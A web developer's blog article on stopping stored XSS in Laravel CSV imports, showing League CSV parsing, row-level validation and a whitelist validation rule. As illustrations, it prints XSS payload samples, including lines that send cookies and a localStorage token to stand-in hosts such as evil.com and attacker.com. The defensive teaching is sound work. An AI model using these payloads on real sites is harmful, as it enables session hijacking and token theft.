Jonathan Bird Web Development

Laravel CSV Import Validation: Preventing XSS with League CSV

Validating CSV Imports in Laravel: Preventing XSS Attacks with League CSV

When building applications that accept CSV file uploads, there's a critical security concern that's easy to overlook. The data inside those files can be just as dangerous as any user input. Without proper validation, you're opening the door to Cross-Site Scripting (XSS) attacks that can compromise your entire application and its users.

League CSV is an excellent library for parsing and writing CSV files in PHP. Their documentation thoroughly covers reading, writing, filtering, and transforming CSV data. However, being a framework-agnostic library, it doesn't address validation—and specifically, it doesn't cover how to prevent malicious data from entering your application.

If you're a Laravel developer reaching for League CSV (or the popular Laravel Excel package which uses it under the hood), you might assume that Laravel's validation is being applied somewhere. It isn't—at least not automatically. This gap between "parsing CSV data" and "safely storing CSV data" is where security vulnerabilities creep in.

The "String" Validation Trap

Many developers believe they're protected because they use Laravel's string validation rule:

1$validator = Validator::make($row, [
2 'first_name' => 'required|string|max:255',
3 'last_name' => 'required|string|max:255',
4]);

This does not prevent XSS. The string rule simply confirms the value is a string type—it says nothing about the content of that string. All of these malicious payloads pass string validation without issue:

1<script>alert('XSS')</script>
2<img src=x onerror=alert('hacked')>
3<svg onload=alert('XSS')>
4"><script>document.location='https://evil.com/steal?c='+document.cookie</script>
5<body onload=alert('XSS')>
6<input onfocus=alert('XSS') autofocus>
7<marquee onstart=alert('XSS')>

Every single one of these is a valid string under 255 characters. Your validation passes, the data gets stored, and when it's rendered in a browser—even in an admin dashboard—the attack executes.

The Hidden Danger in CSV Imports

Consider a typical school management system that imports student data via CSV. A malicious actor could craft a CSV file with entries like:

1student_id,first_name,last_name,email
212345,<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>,Smith,[email protected]
367890,John,<img src=x onerror="alert('XSS')">,[email protected]
411111,"><script>fetch('https://attacker.com/log?data='+localStorage.getItem('token'))</script>,Doe,[email protected]

If this data is stored in your database and later rendered in a view without proper escaping—or worse, used in admin dashboards where staff have elevated privileges—the consequences can be severe:

  • Session hijacking: Stealing authentication cookies
  • Credential theft: Capturing keystrokes or form submissions
  • Privilege escalation: Performing actions as an administrator
  • Data exfiltration: Sending sensitive data to external servers
  • Malware distribution: Redirecting users to malicious sites

The Solution: Validate CSV Data Like Any Other User Input

Treat CSV data as untrusted user input, because that's exactly what it is. Laravel's validation system, combined with League CSV for parsing, provides a robust solution.

Step 1: Validate the Upload Itself

Before processing any CSV content, validate the file upload:

1use Illuminate\Http\Request;
2 
3public function import(Request $request)
4{
5 $request->validate([
6 'csv_file' => 'required|mimes:csv,txt|max:2048',
7 ]);
8 
9 $file = $request->file('csv_file');
10 // Proceed with CSV parsing...
11}

This ensures you're working with an actual CSV file of reasonable size, but it tells you nothing about the data inside.

Step 2: Parse and Validate Each Row

This is where the real protection happens. Use League CSV to parse the file, then validate each row with Laravel's Validator:

1use League\Csv\Reader;
2use Illuminate\Support\Facades\Validator;
3 
4$reader = Reader::createFromPath($file->getPathname(), 'r');
5$reader->setHeaderOffset(0);
6 
7$records = $reader->getRecords();
8 
9$errors = [];
10foreach ($records as $index => $row) {
11 $validator = Validator::make($row, [
12 'student_id' => 'required|string|max:50',
13 'first_name' => 'required|string|max:255',
14 'last_name' => 'required|string|max:255',
15 'email' => 'required|email',
16 ]);
17 
18 if ($validator->fails()) {
19 // +2 accounts for header row and 0-indexed array
20 $errors[$index + 2] = $validator->errors()->all();
21 }
22}
23 
24if (!empty($errors)) {
25 return redirect()->back()->withErrors($errors);
26}
27 
28// Safe to process the validated data

Step 3: Create a Custom Validation Rule for XSS Prevention

While Laravel's built-in rules help, they don't specifically block XSS payloads. Create a custom rule that only allows safe characters:

1<?php
2 
3namespace App\Rules;
4 
5use Closure;
6use Illuminate\Contracts\Validation\ValidationRule;
7 
8class SafeStringWithNumbers implements ValidationRule
9{
10 /**
11 * Validates that a string contains only safe characters:
12 * - Letters (A-Z, a-z)
13 * - Numbers (0-9)
14 * - Common safe punctuation: apostrophe, space, hyphen, dot, underscore
15 */
16 public function validate(string $attribute, mixed $value, Closure $fail): void
17 {
18 if (preg_match('/^[A-Za-z0-9.\' _-]+$/', $value) !== 1) {
19 $fail(':attribute contains invalid characters. Only letters, numbers, spaces, dots, hyphens, apostrophes and underscores are allowed.');
20 }
21 }
22}

This rule explicitly blocks:

  • < and > (HTML tags)
  • " and backticks (attribute injection)
  • ( and ) (JavaScript function calls)
  • = (attribute assignment)
  • ; (statement termination)
  • And many other characters commonly used in XSS payloads

Step 4: Apply the Custom Rule to Your Validation

Now integrate the custom rule into your CSV validation:

1use App\Rules\SafeStringWithNumbers;
2use League\Csv\Reader;
3use Illuminate\Support\Facades\Validator;
4 
5$reader = Reader::createFromPath($file->getPathname(), 'r');
6$reader->setHeaderOffset(0);
7 
8$records = $reader->getRecords();
9$validatedData = [];
10$errors = [];
11 
12foreach ($records as $index => $row) {
13 $validator = Validator::make($row, [
14 'student_id' => ['required', new SafeStringWithNumbers()],
15 'first_name' => ['required', new SafeStringWithNumbers()],
16 'last_name' => ['required', new SafeStringWithNumbers()],
17 'email' => ['required', 'email'],
18 ]);
19 
20 if ($validator->fails()) {
21 $errors[$index + 2] = $validator->errors()->all();
22 } else {
23 $validatedData[] = $row;
24 }
25}
26 
27if (!empty($errors)) {
28 return redirect()->back()
29 ->withErrors(['csv' => $errors])
30 ->with('error', 'Some rows failed validation. Please check and re-upload.');
31}
32 
33// Process $validatedData safely

Real-World Example: Processing with Error Reporting

In production systems, you often need to process valid rows while reporting invalid ones. Here's a more complete implementation:

1<?php
2 
3namespace App\Console\Commands;
4 
5use App\Rules\SafeStringWithNumbers;
6use Illuminate\Console\Command;
7use Illuminate\Support\Facades\Validator;
8use League\Csv\Reader;
9use League\Csv\Writer;
10 
11class ImportStudents extends Command
12{
13 protected $signature = 'students:import {file}';
14 protected $description = 'Import students from CSV with XSS protection';
15 
16 public function handle(): int
17 {
18 $reader = Reader::createFromPath($this->argument('file'), 'r');
19 $reader->setHeaderOffset(0);
20 
21 $successfulRecords = [];
22 $failedRecords = [];
23 
24 foreach ($reader->getRecords() as $record) {
25 $result = $this->validateRecord($record);
26 
27 if ($result['valid']) {
28 $successfulRecords[] = $record;
29 } else {
30 $record['error'] = implode(' | ', $result['errors']);
31 $failedRecords[] = $record;
32 }
33 }
34 
35 // Process successful records
36 foreach ($successfulRecords as $record) {
37 $this->processStudent($record);
38 }
39 
40 // Generate error report if needed
41 if (!empty($failedRecords)) {
42 $this->generateErrorReport($failedRecords);
43 }
44 
45 $this->info(sprintf(
46 'Import complete: %d succeeded, %d failed',
47 count($successfulRecords),
48 count($failedRecords)
49 ));
50 
51 return Command::SUCCESS;
52 }
53 
54 private function validateRecord(array $record): array
55 {
56 $validator = Validator::make($record, [
57 'student_id' => ['required', new SafeStringWithNumbers()],
58 'first_name' => ['required', new SafeStringWithNumbers()],
59 'last_name' => ['required', new SafeStringWithNumbers()],
60 'email' => ['required', 'email'],
61 ]);
62 
63 return [
64 'valid' => $validator->passes(),
65 'errors' => $validator->errors()->all(),
66 ];
67 }
68 
69 private function generateErrorReport(array $failedRecords): void
70 {
71 $writer = Writer::createFromPath(storage_path('imports/errors.csv'), 'w');
72 $writer->insertOne(array_keys($failedRecords[0]));
73 $writer->insertAll($failedRecords);
74 }
75 
76 private function processStudent(array $record): void
77 {
78 // Your business logic here
79 }
80}

Why Output Escaping Alone Isn't Enough

You might think: "Laravel's Blade templates automatically escape output with {{ }}, so I'm safe, right?"

Not quite. Here's why input validation is still critical:

  1. Security should be layered. If one layer fails, others catch it.

  2. Not all output is Blade. APIs return JSON, exports generate files, emails render HTML—all potential XSS vectors.

  3. Stored XSS persists. Once malicious data is in your database, it can affect multiple systems and users over time.

  4. Your data might flow to external dashboards, reports, or systems that don't escape output. This is common with tools like DataTables where you're not relying on Blade.

  5. Even with escaping, data used in JavaScript contexts (onclick, data-* attributes) may still be vulnerable.

Key Takeaways

  1. Treat CSV data as untrusted input—because it is.

  2. Validate at the row level using Laravel's Validator for consistency and clarity.

  3. Create custom validation rules that whitelist allowed characters rather than trying to blacklist dangerous ones.

  4. Provide clear error feedback so users can fix legitimate issues without exposing technical details.

  5. Layer your defences: validate input, escape output, and use Content Security Policy headers.

  6. Test with malicious payloads during development to ensure your validation catches XSS attempts.

By implementing these patterns, you transform a potential security vulnerability into a robust, validated data pipeline that protects both your application and its users.

Syntax highlighting by Torchlight

More articles

Migrating from Algolia to Typesense: Laravel & Vue InstantSearch Guide

Algolia's 2025 pricing increases prompted me to migrate a B2B e-commerce platform with 15K products to Typesense resulting in ~65% cost savings with similar performance. This guide covers the complete Laravel Scout and Vue InstantSearch migration process, including schema configuration, the InstantSearch adapter setup, filter syntax differences, and a script to convert Algolia synonyms to Typesense format.

Read article

Livewire vs Intertia in Laravel: Do you need the extra complexity?

At Laracon AU 2025, the debate between Livewire and JavaScript frameworks was a hot topic. Here's why Livewire might be all you need for real-time reactivity in your Laravel applications.

Read article

Talk to me about your website project